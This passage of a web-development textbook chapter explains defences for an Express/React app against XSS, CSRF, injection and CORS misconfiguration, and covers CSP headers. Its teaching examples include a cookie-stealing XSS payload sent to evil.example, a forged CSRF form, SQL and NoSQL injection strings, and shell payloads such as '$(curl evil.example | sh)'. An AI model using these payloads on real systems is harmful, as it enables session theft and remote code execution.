17. Security, Quality and Deployment
Earlier chapters built the bookshelf application one piece at a time: an Express API (Chapter 12), MongoDB and Redis storage (Chapter 13), a React front end (Chapter 14) and mobile and desktop clients (Chapters 15 and 16). This last chapter covers what turns working code into a service you can trust in production. It covers defending the application against attacks (17.1), showing that it works and keeping it maintainable with tests and tooling (17.2), and building, deploying, observing and scaling it (17.3). Several of these topics came up briefly in earlier chapters; here they are brought together into one systematic view, because in production a single weak link (an unescaped string, an untested migration, a leaked key) undoes all the other work.
<a id="171-web-application-security"></a>
17.1 Web Application Security
A web application is reachable by anyone on the Internet, including people who will send it inputs its authors never imagined. This subchapter starts with the OWASP Top Ten as a map of the most common weaknesses. It then covers the major attack classes one at a time (cross-site scripting, request forgery, injection and cross-origin misconfiguration) and the platform defences against them (Content Security Policy and other security headers). It ends with two operational concerns: keeping secrets out of code, and keeping third-party dependencies free of known vulnerabilities.
The OWASP Top Ten
Why a list of risks. Most successful attacks on web applications do not use new techniques. They reuse a small set of well-known mistakes: a missing authorization check, a string concatenated into a query, a default password left in place. If developers know these patterns, they can recognise and avoid most vulnerabilities before the code ships. The OWASP Top Ten is the best-known catalogue of them.
What OWASP is. The Open Worldwide Application Security Project is a non-profit foundation that publishes free security guides, tools and standards. Its Top Ten is an awareness document, updated every few years from vulnerability data contributed by security firms and from a community survey. It is not a complete standard: for full requirements, OWASP publishes the Application Security Verification Standard (ASVS), and for practical guidance the Cheat Sheet Series. Still, the Top Ten is the shared vocabulary of the field. Auditors, interviewers and job adverts refer to it constantly.
An analogy: the Top Ten is like a list of the ten most common causes of house fires. It does not teach you to build a house, but if you check every item, you have removed most of the risk.
The current list. The 2025 edition reorganised the 2021 list, which is still widely cited. Both are shown so you can recognise either:
| 2025 | Category | 2021 equivalent | What goes wrong |
|---|---|---|---|
| A01 | Broken Access Control | A01 (+ A10 SSRF merged in) | Users act outside their permissions: reading another user's data, calling admin endpoints, making the server fetch internal URLs |
| A02 | Security Misconfiguration | A05 | Default credentials, verbose error pages, open cloud buckets, missing security headers |
| A03 | Software Supply Chain Failures | A06 Vulnerable and Outdated Components | Vulnerable or malicious dependencies, compromised build tools |
| A04 | Cryptographic Failures | A02 | Data sent without TLS, weak password hashing, hard-coded keys |
| A05 | Injection | A03 | Untrusted input interpreted as code: SQL, NoSQL, OS commands, XSS |
| A06 | Insecure Design | A04 | Flaws in the design itself, such as an unlimited password-reset flow |
| A07 | Authentication Failures | A07 | Credential stuffing, weak session handling, missing MFA |
| A08 | Software or Data Integrity Failures | A08 | Trusting unsigned updates, insecure deserialisation, unverified CDN scripts |
| A09 | Security Logging and Alerting Failures | A09 | Attacks go unnoticed because nothing is logged or nobody is alerted |
| A10 | Mishandling of Exceptional Conditions | New | Errors that fail open, leak details or leave inconsistent state |
Where this book covers each one.
| Category | Defences | Sections |
|---|---|---|
| Broken Access Control | Server-side authorization on every request, deny by default, scope queries to the owner | 10.3, this section |
| Security Misconfiguration | Security headers, hardened defaults, no stack traces in responses | 12.2, 17.1 |
| Supply Chain | Lockfiles, auditing, update automation | 11.2, 17.1 |
| Cryptographic Failures | HTTPS everywhere, bcrypt/argon2, secret management | 10.1, 10.3, 17.1 |
| Injection (incl. XSS) | Parameterised queries, output encoding, CSP | 17.1 |
| Authentication Failures | Sessions, JWT handling, MFA, rate limiting | 10.2, 10.3, 10.4 |
| Logging and Alerting | Structured logs, metrics, alerts | 11.6, 17.3 |
| Exceptional Conditions | Central error handling, failing closed | 12.2 |
The number-one risk in code: broken access control. A typical example is an Insecure Direct Object Reference (IDOR). The client sends an ID, and the server trusts it without checking ownership:
// VULNERABLE: any logged-in user can read any reading list by changing the ID in the URL
router.get('/api/v1/lists/:id', authenticate, async (req, res) => {
const list = await lists.findById(req.params.id); // authenticated, but not authorized
if (!list) return res.status(404).end();
res.json(list);
});
// FIXED: the ownership check is part of the query itself
router.get('/api/v1/lists/:id', authenticate, async (req, res) => {
const list = await lists.findOne({
_id: req.params.id,
ownerId: req.user.id, // the user ID comes from the verified session, never the request
});
if (!list) return res.status(404).end(); // 404, not 403: do not confirm that someone else's list exists
res.json(list);
});
Authentication answers "who are you?"; authorization answers "may you do this to this object?" (10.3). Hiding a button in the UI is not authorization. The server must check permissions on every request, because an attacker can call the API directly with curl.
Thinking like an attacker: threat modelling. The Top Ten tells you what usually goes wrong; threat modelling tells you where it could go wrong in your system. A lightweight version is to draw the data flows, mark each trust boundary (where data crosses from a less trusted to a more trusted zone), and ask at each boundary what could be spoofed, tampered with or leaked:
Untrusted | Trusted (your infrastructure)
|
Browser / mobile app --HTTPS--> Reverse proxy --> Express API --> MongoDB
^ user input, | | | \
| URL, headers, | TLS, rate limit validate, \--> Redis
| cookies, files | authorize,
| encode output
trust boundary: every value crossing it is attacker-controlled
Defence in depth. No single control is perfect, so you layer them. For example, against XSS you combine input validation, output encoding, a Content Security Policy and HttpOnly cookies. If one layer fails, the next one limits the damage.
Key Takeaways
- The OWASP Top Ten lists the most common categories of web application weakness; use it as a checklist and a shared vocabulary, and the ASVS for detailed requirements.
- Broken access control is the most common weakness: enforce authorization on the server, on every request, and scope data queries to the current user.
- Treat everything that crosses a trust boundary (body, query, headers, cookies, files) as attacker-controlled.
- Layer independent defences so that one failure does not become a breach.
Practice
- (Beginner) For each of the ten categories, write one concrete example of how it could appear in the bookshelf API (for example, "A02: the error handler returns
err.stackin production").- (Intermediate) Audit the routes of your bookshelf API for IDOR: list every route that takes an ID and verify that the query checks ownership or role. Write a supertest test for each route in which user B requests user A's resource and expects
404.- (Interview) "Your API checks a JWT on every route. Is it secure against broken access control?" Hint: distinguish verifying who the caller is from checking what they may do with a specific resource; think about IDs in URLs and role checks on admin routes.
Cross-Site Scripting and Output Encoding
Why XSS is so dangerous. The browser runs every script on a page with the full privileges of that page's origin. It cannot tell whether a script was written by you or injected by an attacker. If an attacker manages to place <script> into your page, their code can read the DOM, call your API with the user's cookies, change what the user sees, capture keystrokes and send everything to their own server. Cross-site scripting (XSS) is exactly that: attacker-controlled data ends up being interpreted as code in another user's browser.
An analogy: a stage actor reads lines from a script. If an audience member can slip a page into the script, the actor will read it out loud with the same authority as the playwright's lines. Output encoding makes sure that whatever the audience writes is read out as a quotation, never as stage directions.
The three kinds of XSS.
| Kind | Where the payload lives | Example |
|---|---|---|
| Stored | In your database; served to every viewer | A book review containing <script>...</script> shown on the book page |
| Reflected | In the request (usually the URL); echoed back immediately | /search?q=<script>...</script> rendered as "Results for ..." |
| DOM-based | Never reaches the server; client JavaScript writes it into the DOM | el.innerHTML = location.hash.slice(1) |
A vulnerable page. An Express route that builds HTML by concatenation:
// VULNERABLE: the query parameter is inserted into HTML as markup
app.get('/search', (req, res) => {
res.send(`<h1>Results for ${req.query.q}</h1>`);
});
A link such as the following steals the user's session if the cookie is not HttpOnly:
https://bookshelf.example/search?q=<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">
The <img> fails to load, its onerror handler runs, and the attacker's server receives the cookie. Attackers rarely use <script> tags directly; event-handler attributes, javascript: URLs and SVG are equally effective.
The fix: encode for the output context. Input validation helps (a quantity must be a number), but you cannot reject every "dangerous" character: a book title can legitimately contain <, " or '. The reliable defence is output encoding: when you insert data into a document, convert characters that have special meaning in that context into a harmless representation. The right encoding depends on where the data goes:
| Output context | Example | Encoding |
|---|---|---|
| HTML text | <p>DATA</p> | HTML entities: & < > become & < > |
| HTML attribute (quoted) | <input value="DATA"> | HTML entities, including " and ' |
| URL parameter | <a href="/search?q=DATA"> | encodeURIComponent, then HTML-encode the attribute |
| URL as a whole | <a href="DATA"> | Allow only http:/https: schemes, then encode |
| JavaScript | <script>const x = DATA</script> | Avoid; pass data via a data- attribute or JSON with < escaped |
| CSS | style="color: DATA" | Avoid; use an allowlist of values |
A minimal HTML encoder:
// Encode text for safe insertion into HTML text or a quoted attribute value
export function escapeHtml(value) {
return String(value)
.replaceAll('&', '&') // must be first, or it would re-encode the entities below
.replaceAll('<', '<')
.replaceAll('>', '>')
.replaceAll('"', '"')
.replaceAll("'", ''');
}
app.get('/search', (req, res) => {
res.send(`<h1>Results for ${escapeHtml(req.query.q ?? '')}</h1>`); // now rendered as visible text
});
In practice you rarely write this yourself, because the tools you already use encode by default:
| Tool | Safe by default | Escape hatch to watch for |
|---|---|---|
| EJS (12.3) | <%= value %> | <%- value %> outputs raw HTML |
| Handlebars / Pug | {{value}} / #{value} | {{{value}}} / !{value} |
| DOM API | el.textContent = value, setAttribute | innerHTML, outerHTML, insertAdjacentHTML, document.write |
| jQuery (Chapter 8) | .text(value) | .html(value), $(userString) |
| React (Chapter 14) | {value} in JSX | dangerouslySetInnerHTML, href={userUrl} with javascript: |
React is not immune. JSX escapes text, but a user-supplied URL in href can still run code:
// VULNERABLE: a profile "website" of javascript:alert(document.cookie) runs on click
<a href={user.website}>Website</a>
// SAFER: allow only http(s) URLs
function safeUrl(raw) {
try {
const url = new URL(raw);
return ['http:', 'https:'].includes(url.protocol) ? url.href : '#';
} catch {
return '#'; // not a valid absolute URL
}
}
<a href={safeUrl(user.website)} rel="noopener noreferrer">Website</a>
When you must render user HTML. Rich-text reviews or Markdown previews need real HTML. Do not write your own filter. Use a sanitizer such as DOMPurify, which parses the HTML and removes everything outside an allowlist of tags and attributes:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(review.html, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'], // no style, no on* handlers
});
reviewEl.innerHTML = clean; // acceptable only because it was sanitized just before
Extra layers. Mark session cookies HttpOnly (10.2) so scripts cannot read them, add a Content Security Policy (later in this section) so injected scripts do not run, and consider Trusted Types, a browser feature that makes innerHTML and similar sinks reject plain strings unless they have passed through an approved policy.
Key Takeaways
- XSS happens when untrusted data is interpreted as code in a victim's browser; it can be stored, reflected or DOM-based.
- The primary defence is context-aware output encoding at the point of output, not filtering input.
- Prefer APIs that are safe by default (
textContent,<%= %>, JSX text) and review every escape hatch (innerHTML,<%- %>,dangerouslySetInnerHTML). - Validate URL schemes before putting user URLs in
hreforsrc. - Sanitize user HTML with a maintained allowlist sanitizer, and add
HttpOnlycookies and CSP as further layers.
Practice
- (Beginner) Build the vulnerable
/searchroute, trigger analert(1)with theonerrorpayload, then fix it withescapeHtmland confirm that the payload appears as text.- (Intermediate) Search the bookshelf React front end and Express views for every use of
innerHTML,dangerouslySetInnerHTML,<%-and user-controlledhref. For each one, either replace it with a safe API or document why the value is trusted or sanitized.- (Interview) "Why is output encoding preferred over input filtering as an XSS defence?" Hint: consider that the same data may be output in different contexts (HTML, attribute, URL, JSON), and that legitimate data can contain special characters.
Cross-Site Request Forgery and Tokens
Why CSRF exists. Browsers attach cookies to every request sent to a site, no matter which page started the request. If you are logged in to bookshelf.example and you visit evil.example, a hidden form on the evil page can submit a POST to bookshelf.example, and your browser will include your session cookie. The server sees a valid session and performs the action. Cross-Site Request Forgery (CSRF) tricks an authenticated browser into sending a request the user never intended.
An analogy: a bank that accepts any cheque that bears your signature stamp. CSRF is someone placing a cheque in front of you while you are holding the stamp, and the stamp comes down automatically.
1. User logs in browser ----POST /login----> bookshelf.example
browser <--Set-Cookie: sid--
2. User visits browser ----GET-----------> evil.example
a malicious page browser <-- page with auto-submitting form
3. Form submits browser ----POST /api/account/delete, Cookie: sid----> bookshelf.example
(cookie attached automatically)
4. Server sees a valid session and deletes the account
Note what the attacker cannot do: thanks to the same-origin policy, they cannot read the response. CSRF is a "blind" write attack. That is why it targets state-changing requests.
A malicious page.
<!-- on evil.example -->
<form id="f" action="https://bookshelf.example/account/email" method="POST">
<input type="hidden" name="email" value="attacker@evil.example">
</form>
<script>document.getElementById('f').submit();</script> <!-- runs as soon as the page loads -->
When you are vulnerable. CSRF needs three things: the browser sends credentials automatically (cookies, HTTP Basic or client certificates), the action changes state, and the request can be built without knowing any secret. An API that authenticates only with an Authorization: Bearer header (10.3) is not exposed, because a cross-site page cannot make the browser add that header. Cookie-based sessions are exposed unless you defend them.
Defences, layered.
| Defence | How it works | Notes |
|---|---|---|
| Safe methods | GET, HEAD, OPTIONS never change state (10.1) | Prerequisite for every other defence |
SameSite cookies | SameSite=Lax or Strict stops the cookie on cross-site POSTs (10.2) | Browsers default to Lax; does not cover same-site attackers such as a vulnerable subdomain |
| Origin / Fetch Metadata check | Reject state-changing requests whose Origin is not yours or whose Sec-Fetch-Site is cross-site | Cheap and effective in modern browsers |
| Synchronizer token | Server stores a random token in the session and requires it in each form or header | Classic defence; the attacker cannot read the token |
| Signed double-submit cookie | Token in a cookie and in a header/field; server checks they match and the signature is valid | Stateless variant for apps without server sessions |
| Custom request header | Require e.g. X-Requested-With on API calls | Cross-site forms cannot set custom headers; fetch with them triggers a CORS preflight |
Implementing the defences in Express. A middleware that checks Fetch Metadata and the origin for every unsafe method, plus a synchronizer token for classic HTML forms:
import crypto from 'node:crypto';
const SAFE_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
const ALLOWED_ORIGINS = new Set(['https://bookshelf.example']);
// Layer 1: reject unsafe requests that clearly come from another site
export function rejectCrossSite(req, res, next) {
if (SAFE_METHODS.has(req.method)) return next();
const site = req.get('Sec-Fetch-Site'); // sent by all modern browsers
if (site && site !== 'same-origin' && site !== 'none') {
return res.status(403).json({ error: 'cross-site request blocked' });
}
const origin = req.get('Origin');
if (origin && !ALLOWED_ORIGINS.has(origin)) {
return res.status(403).json({ error: 'bad origin' });
}
next();
}
// Layer 2: synchronizer token stored in the session (express-session, 12.3)
export function csrfToken(req, res, next) {
req.session.csrf ??= crypto.randomBytes(32).toString('base64url'); // one token per session
res.locals.csrfToken = req.session.csrf; // available to templates
if (SAFE_METHODS.has(req.method)) return next();
const sent = req.get('X-CSRF-Token') ?? req.body?._csrf ?? '';
const expected = req.session.csrf;
const ok = sent.length === expected.length &&
crypto.timingSafeEqual(Buffer.from(sent), Buffer.from(expected)); // constant-time comparison
if (!ok) return res.status(403).json({ error: 'invalid CSRF token' });
next();
}
<!-- EJS form: the token travels in a hidden field the attacker cannot read -->
<form method="POST" action="/account/email">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
<input name="email" type="email">
<button>Save</button>
</form>
For a single-page app, expose the token through an endpoint or a readable cookie and send it in the X-CSRF-Token header with every fetch. The old csurf package is deprecated; use maintained libraries (such as csrf-csrf or csrf-sync) or the small middleware above.
Login CSRF. Even the login form needs protection: an attacker can log the victim into the attacker's account, so that the victim's later activity (a saved card, a search history) is recorded where the attacker can see it.
Key Takeaways
- CSRF abuses the browser's automatic sending of cookies to perform state-changing requests on the user's behalf; the attacker cannot read the response.
- Keep GET and other safe methods free of side effects.
- Combine
SameSitecookies with an Origin orSec-Fetch-Sitecheck, and add a token (synchronizer or signed double-submit) for cookie-authenticated forms. - APIs authenticated only with an
Authorizationheader are not exposed to CSRF, but are exposed to token theft through XSS.
Practice
- (Beginner) Host the malicious form on
http://localhost:4000and target a cookie-session app onhttp://localhost:3000. Observe whether the cookie is sent withSameSite=None; Secure,LaxandStrict, using the browser's network panel.- (Intermediate) Add
rejectCrossSiteandcsrfTokento the bookshelf server-rendered views. Write supertest tests for a request without a token (403), with a wrong token (403), with a correct token (success) and withSec-Fetch-Site: cross-site(403).- (Interview) "If all our cookies are
SameSite=Lax, do we still need CSRF tokens?" Hint: think about subdomains being the same site, state-changing GET requests, older browsers, and defence in depth.
Injection Attacks and Parameterized Queries
Why injection happens. Many systems receive commands as text: a database receives SQL, a shell receives command lines, MongoDB receives query documents. If an application builds that text by pasting in user input, the user can change the structure of the command, not just its values. The interpreter cannot tell which parts the developer wrote and which came from the attacker. That is injection: data crossing over into code.
An analogy: you dictate a letter to a secretary, ending with "and sign it from the customer, whose name is ...". If the customer gives their name as "Bob. Also transfer all funds to account 666", a secretary who simply writes down whatever follows "whose name is" has been injected.
SQL injection. A login query built by string concatenation:
// VULNERABLE: user input becomes part of the SQL text
const sql = `SELECT * FROM users WHERE email = '${email}' AND password_hash = '${hash}'`;
With email set to admin@bookshelf.example' --, the query becomes:
SELECT * FROM users WHERE email = 'admin@bookshelf.example' --' AND password_hash = '...'
-- ^ everything after -- is a comment
The password check disappears. Other payloads use UNION SELECT to read other tables, or ; DROP TABLE books where multiple statements are allowed.
The fix: parameterized queries. Send the SQL text and the values separately. The database parses the statement first, with placeholders, and then binds the values as pure data. No value can change the statement's structure, whatever characters it contains:
import pg from 'pg';
const pool = new pg.Pool({ connectionString: process.env.DATABASE_URL });
// $1, $2 are placeholders; values travel separately in the protocol
const { rows } = await pool.query(
'SELECT id, email, role FROM users WHERE email = $1 AND active = $2',
[email, true],
);
// mysql2 uses ? placeholders
const [books] = await conn.execute('SELECT * FROM books WHERE author = ? LIMIT ?', [author, 20]);
Query builders and ORMs (Knex, Prisma, Sequelize, Drizzle) parameterize for you, as long as you use their normal API. Their "raw" escape hatches (knex.raw, prisma.$queryRawUnsafe) reintroduce the risk if you interpolate strings into them.
What cannot be a parameter. Placeholders work for values, not for table names, column names or keywords such as ASC/DESC. For dynamic sorting, map user input through an allowlist:
const SORT_COLUMNS = { title: 'title', year: 'published_year', author: 'author_name' };
function orderBy(sort = 'title', dir = 'asc') {
const column = SORT_COLUMNS[sort]; // unknown keys yield undefined
if (!column) throw new ValidationError('invalid sort field');
return `ORDER BY ${column} ${dir === 'desc' ? 'DESC' : 'ASC'}`; // only fixed strings reach the SQL
}
NoSQL injection. MongoDB queries are objects, not strings, so classic SQL payloads do not work. But JSON bodies can contain objects where you expected strings:
// VULNERABLE: express.json() turns {"email":"a@b.c","password":{"$ne":null}} into an object
const user = await users.findOne({ email: req.body.email, password: req.body.password });
// The query becomes { password: { $ne: null } }: "any password that is not null" matches
Defend by validating types before querying (12.3), so only strings get through, and by enabling Mongoose's sanitizeFilter, which wraps operator-like keys in $eq:
import { z } from 'zod';
const LoginBody = z.object({
email: z.string().email(),
password: z.string().min(1).max(200), // an object such as {"$ne":null} now fails validation
});
const { email, password } = LoginBody.parse(req.body);
const user = await User.findOne({ email }); // look up by email, then verify the hash (10.3)
const ok = user && await bcrypt.compare(password, user.passwordHash);
Command injection. Building a shell command from input lets attackers add ; rm -rf / or $(curl evil.example | sh). As in 11.5, avoid exec with interpolated strings and pass an argument array to execFile or spawn, which do not involve a shell:
import { execFile } from 'node:child_process';
// VULNERABLE: exec(`convert ${file} -resize 200x200 thumb.png`)
// SAFER: no shell; the file name is a single argument even if it contains ; or $( )
execFile('convert', [file, '-resize', '200x200', 'thumb.png'], (err) => { /* ... */ });
Other injection families.
| Interpreter | Vulnerable pattern | Defence |
|---|---|---|
| SQL | String concatenation into queries | Parameterized queries, allowlists for identifiers |
| MongoDB | Objects from JSON bodies used as filters; $where with strings | Schema validation, sanitizeFilter, never $where |
| Shell | exec with interpolated input | execFile/spawn with argument arrays |
| Server-side templates | Compiling user input as a template | Never compile user input; pass it as data |
| HTML / JavaScript | Concatenating into markup (XSS) | Output encoding (previous section) |
| HTTP headers | User input containing \r\n in a header | Frameworks reject CR/LF; validate redirects |
| Logs | User input with fake log lines | Structured JSON logging (11.6) |
Key Takeaways
- Injection occurs when input changes the structure of a command sent to an interpreter.
- Use parameterized queries for every value; use allowlists for identifiers and keywords.
- In MongoDB, validate that values have the expected primitive types, and never pass request objects directly as filters.
- Never run user input through a shell; use argument arrays.
- ORMs and query builders are safe by default, but their raw-query APIs are not.
Practice
- (Beginner) With SQLite or PostgreSQL, write a vulnerable login query, bypass it with
' OR '1'='1' --, then rewrite it with placeholders and show the payload no longer works.- (Intermediate) Add
?sort=and?order=toGET /api/v1/bookswith an allowlist mapping. Then send{"email":"x","password":{"$ne":null}}to the bookshelf login route and verify your validation returns 422.- (Interview) "Why can't you protect against SQL injection by escaping quotes yourself?" Hint: consider character encodings, numeric contexts without quotes, identifiers, and how parameter binding separates parsing from data.
Same-Origin Policy and CORS Misconfiguration
Why the same-origin policy exists. Your browser holds cookies and sessions for many sites at once: your bank, your email, the bookshelf app. If any page could freely read responses from any other site, a malicious page could fetch https://mail.example/inbox using your cookies and read your mail. The same-origin policy (SOP) prevents this: a script may send requests anywhere, but it may only read responses from its own origin.
An origin is the triple scheme + host + port:
| URL | Same origin as https://bookshelf.example? | Why |
|---|---|---|
https://bookshelf.example/api/books | Yes | Path does not matter |
http://bookshelf.example | No | Different scheme |
https://api.bookshelf.example | No | Different host (but same site) |
https://bookshelf.example:8443 | No | Different port |
CORS: a controlled exception. Legitimate apps often need cross-origin reads: a React app on https://app.bookshelf.example calling an API on https://api.bookshelf.example. Cross-Origin Resource Sharing (CORS) lets the server tell the browser which other origins may read its responses. It is a relaxation of SOP, never an extra protection: a server without CORS headers is as locked down as it can be.
Simple request (GET, standard headers):
Browser --GET /books, Origin: https://app.bookshelf.example--> API
Browser <--200, Access-Control-Allow-Origin: https://app.bookshelf.example-- API
Browser lets the script read the response (headers match)
Preflighted request (PUT, JSON body, custom headers):
Browser --OPTIONS /books/42, Origin, Access-Control-Request-Method: PUT--> API
Browser <--204, Allow-Origin, Allow-Methods: PUT, Allow-Headers: Content-Type, Max-Age-- API
Browser --PUT /books/42 (the real request)--> API
| Response header | Meaning |
|---|---|
Access-Control-Allow-Origin | The one origin (or *) allowed to read the response |
Access-Control-Allow-Credentials: true | The response may be read even when cookies were sent; forbids * as origin |
Access-Control-Allow-Methods / -Headers | What the preflight approves |
Access-Control-Expose-Headers | Response headers the script may read beyond the safe defaults |
Access-Control-Max-Age | How long the browser may cache a preflight result |
Vary: Origin | Tells caches that the response depends on the Origin header |
Common misconfigurations. CORS bugs almost always come from trying to make an error go away quickly:
| Misconfiguration | Why it is dangerous |
|---|---|
Reflecting any Origin back, with Allow-Credentials: true | Every website can read authenticated responses: equivalent to no SOP for your API |
Allowing Origin: null | Sandboxed iframes and file: pages send null; attackers can produce it on purpose |
Weak matching: origin.endsWith('bookshelf.example') | evilbookshelf.example also matches |
Unanchored regex: /bookshelf\.example/ | bookshelf.example.evil.com matches |
| Trusting all subdomains | One XSS on a forgotten subdomain can read your API |
Access-Control-Allow-Origin: * on an internal API | Any page a staff member visits can read it through their network position |
Missing Vary: Origin | A CDN may cache a response with one origin's header and serve it to another |
A safe configuration in Express. Use an exact allowlist and let the cors package (12.2) handle the headers and preflights:
import cors from 'cors';
const allowedOrigins = new Set(config.CORS_ORIGINS); // e.g. ['https://app.bookshelf.example']
app.use('/api', cors({
origin(origin, callback) {
// Requests without an Origin header (curl, server-to-server, same-origin GET) are not CORS requests
if (!origin) return callback(null, true);
callback(null, allowedOrigins.has(origin)); // exact match only: no endsWith, no regex
},
credentials: true, // cookies allowed, so the origin must never be '*'
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
maxAge: 600, // cache preflights for 10 minutes
}));
// The cors package adds Vary: Origin automatically when the origin is dynamic
What CORS does not do. CORS is enforced by browsers, for browsers. It does not stop curl, scripts or other servers from calling your API, so it is not authentication. It also does not block cross-site sending of simple requests, so it is not a CSRF defence. Often the cleanest solution is to avoid CORS entirely by serving the front end and API from the same origin through a reverse proxy (12.3, 17.3).
Key Takeaways
- An origin is scheme + host + port; SOP stops scripts from reading cross-origin responses, not from sending requests.
- CORS lets a server relax SOP for specific origins; it never adds protection.
- Use exact origin allowlists; never reflect arbitrary origins with credentials, never allow
null, never match by suffix or unanchored regex. - Send
Vary: Originwhen the allowed origin varies, and prefer same-origin deployment when possible.
Practice
- (Beginner) Serve a page on
http://localhost:5173that fetcheshttp://localhost:3000/api/books. Observe the console error without CORS, then add thecorsmiddleware with an allowlist and observe the preflight in the network panel.- (Intermediate) Write a test that sends requests with
Origin: https://evil.example,Origin: nullandOrigin: https://app.bookshelf.example.evil.comand asserts that none receive anAccess-Control-Allow-Originheader.- (Interview) "A colleague fixed a CORS error by setting
origin: true, credentials: true. What is the risk?" Hint:origin: truereflects the request's origin; consider what a malicious page could read from a logged-in user's session.
Content Security Policy and Security Headers
Why headers. Many browser protections are off by default for backward compatibility: old sites depended on inline scripts, framing and loose content sniffing. A server can switch these protections on for its own pages by sending response headers. They do not fix bugs in your code, but they limit what an attacker can do when a bug exists. That makes them a classic defence-in-depth layer.
Content Security Policy (CSP). CSP tells the browser where the page may load resources from and which scripts may run. Even if an attacker injects <script> or an onerror attribute, the browser refuses to execute it if it does not satisfy the policy.
An analogy: CSP is a guest list at the door of a venue. It does not stop people from trying to get in, but anyone whose name (origin or nonce) is not on the list is turned away.
Main directives.
| Directive | Controls | Typical value |
|---|---|---|
default-src | Fallback for other fetch directives | 'self' |
script-src | JavaScript sources | 'self' 'nonce-...' 'strict-dynamic' |
style-src | Stylesheets | 'self' (plus a nonce for inline styles) |
img-src | Images | 'self' data: https://covers.example |
connect-src | fetch, XHR, WebSocket destinations | 'self' https://api.bookshelf.example |
frame-ancestors | Who may embed this page in a frame | 'none' (anti-clickjacking) |
object-src | Plugins (<object>, <embed>) | 'none' |
base-uri | Allowed <base> URLs | 'self' or 'none' |
form-action | Where forms may submit | 'self' |
upgrade-insecure-requests | Rewrites http: subresource URLs to https: | (no value) |
report-to | Where violation reports are sent | A reporting endpoint name |
Allowlists vs nonces. Early CSPs listed trusted hosts (script-src https://cdn.example). Research showed that most such policies can be bypassed, because allowlisted CDNs host scripts (old libraries, JSONP endpoints) that attackers can abuse. The recommended approach is a strict CSP based on nonces: the server generates a random value for each response, puts it in the header, and adds it to every legitimate <script> tag. Injected scripts cannot know the nonce. 'strict-dynamic' then lets those trusted scripts load further scripts.
import crypto from 'node:crypto';
import helmet from 'helmet';
// 1. A fresh nonce per response
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
// 2. helmet sets CSP and the other security headers (12.2)
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [(req, res) => `'nonce-${res.locals.cspNonce}'`, "'strict-dynamic'"],
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:', 'https://covers.openlibrary.org'],
connectSrc: ["'self'"],
objectSrc: ["'none'"],
baseUri: ["'none'"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
},
},
strictTransportSecurity: { maxAge: 63072000, includeSubDomains: true, preload: true }, // 2 years
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));
<!-- EJS view: only tags carrying the nonce run -->
<script nonce="<%= cspNonce %>" src="/assets/app.js"></script>
<script nonce="<%= cspNonce %>">window.__CONFIG__ = <%- safeJson(config) %>;</script> <!-- safeJson: JSON.stringify with < escaped as \u003c -->
The resulting header looks like this:
Content-Security-Policy: default-src 'self'; script-src 'nonce-q3h0f...' 'strict-dynamic';
style-src 'self'; img-src 'self' data: https://covers.openlibrary.org; connect-src 'self';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action 'self'
For a static SPA built by Vite, where no server renders the HTML, you can instead use hashes ('sha256-...' of each inline script, generated at build time) or simply have no inline scripts and use script-src 'self'.
Rolling out CSP safely. A strict policy can break third-party widgets and inline event handlers (onclick="...", which CSP blocks). Deploy first with Content-Security-Policy-Report-Only: the browser reports violations but blocks nothing. Collect the reports, fix the code, then switch to the enforcing header.
Other security headers.
| Header | Purpose | Recommended value |
|---|---|---|
Strict-Transport-Security (HSTS) | Browser uses only HTTPS for this host from now on (10.1) | max-age=63072000; includeSubDomains |
X-Content-Type-Options | Stop the browser guessing ("sniffing") content types, e.g. treating an upload as script | nosniff |
X-Frame-Options | Legacy clickjacking protection (superseded by frame-ancestors) | DENY |
Referrer-Policy | How much of the URL is sent in Referer to other sites | strict-origin-when-cross-origin or no-referrer |
Permissions-Policy | Disable powerful features the site does not use | camera=(), microphone=(), geolocation=() |
Cross-Origin-Opener-Policy | Isolate your window from cross-origin popups | same-origin |
Cross-Origin-Resource-Policy | Which sites may embed your resources | same-origin or same-site |
Cache-Control | Keep authenticated pages out of shared caches | no-store for sensitive responses |
Also remove headers that only help attackers, such as X-Powered-By: Express (helmet does this). Check your result with curl -I, the browser's network panel, or online scanners such as Mozilla Observatory.
Key Takeaways
- Security headers switch on browser protections that limit the damage of bugs; they complement, not replace, secure code.
- CSP controls which scripts and resources may load; prefer a strict, nonce-based policy with
'strict-dynamic',object-src 'none'andbase-uri 'none'. - Roll CSP out with
Report-Onlyfirst, then enforce. - Always set HSTS,
X-Content-Type-Options: nosniff,frame-ancestors 'none'(orX-Frame-Options) and a sensibleReferrer-Policy.
Practice
- (Beginner) Run
curl -Iagainst three well-known websites and tabulate which security headers each sends. Then do the same for your bookshelf app before and after addinghelmet.- (Intermediate) Add a nonce-based CSP to the bookshelf EJS views. Inject
<img src=x onerror=alert(1)>through a deliberately unescaped field and confirm in the console that CSP blocks it. Then deploy the policy inReport-Onlymode with a/csp-reportendpoint that logs violations.- (Interview) "Why are nonce-based CSPs recommended over host allowlists?" Hint: think about what else is hosted on an allowlisted CDN, JSONP endpoints, and whether an attacker can predict a per-response random value.
Secret Management and Secure Configuration
Why secrets need special handling. An application needs credentials to work: database passwords, JWT signing keys, API keys for payment or e-mail providers. If these live in the source code, everyone with access to the repository has them, every copy and fork has them, and they stay in the Git history even after you delete the line. Automated bots scan public repositories and use leaked cloud keys within minutes. Secret management is about keeping credentials out of code, giving each component only what it needs, and being able to replace them quickly.
Configuration vs code. The Twelve-Factor App methodology states that anything that varies between deployments (development, staging, production) is configuration and belongs in the environment, not in code. The same build artifact then runs everywhere with different settings (17.3). Secrets are the most sensitive part of that configuration.
Levels of maturity.
| Approach | Where secrets live | Suitable for |
|---|---|---|
| Hard-coded in source | Git history | Never |
.env file, git-ignored | Developer's disk | Local development |
